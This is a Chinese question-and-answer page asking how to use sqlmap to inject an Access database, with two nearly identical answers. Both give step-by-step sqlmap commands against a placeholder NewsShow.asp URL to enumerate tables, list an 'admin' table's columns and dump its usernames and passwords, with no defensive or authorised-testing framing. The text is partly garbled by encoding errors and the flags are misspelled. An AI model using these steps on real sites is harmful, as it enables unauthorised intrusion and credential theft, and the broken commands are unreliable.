sqlmap怎么注入ACCESS数据库

Question

如题所述

Answer 1

跑表，命令是sqlmap â€“u â€œurl/NewsShow.asp?id=69” â€“tables。

遇到这个，可以直接选择回车。




等到了这里，选择线程1到10开始扫表，也可以在出现admin这个表的时候按下ctrl+c就可以终止然后就获取表。




然后直接再次输入命令sqlmap â€“u â€œurl/NewsShow.asp?id=69” â€“colunmns â€“T admin。




得到了里面的字段username password id，然后直接跑字段内容sqlmap â€“u â€œurl/NewsShow.asp?id=69” â€“dumps â€“T admin â€“C â€œusername,password”。



然后一路还是回车。到了下图所示，还是选择线程1到10最后跑出了用户名、密码。

Answer 2

首先我们先来跑表
命令是sqlmap –u “url/NewsShow.asp?id=69” –tables

一路上大家遇到这个

可以直接选择回车
等到了这里

大家选择线程1到10
开始扫表。你也可以在出现admin这个表的时候按下ctrl+c就可以终止然后就获取表

然后我们直接再次输入命令sqlmap –u “url/NewsShow.asp?id=69” –colunmns –T admin

然后得到了里面的字段username password id
然后我们直接跑字段内容sqlmap –u “url/NewsShow.asp?id=69” –dumps –T admin –C “username,password”

然后一路还是回车。到了

还是选择线程1到10
最后跑出了用户名。密码本回答被提问者和网友采纳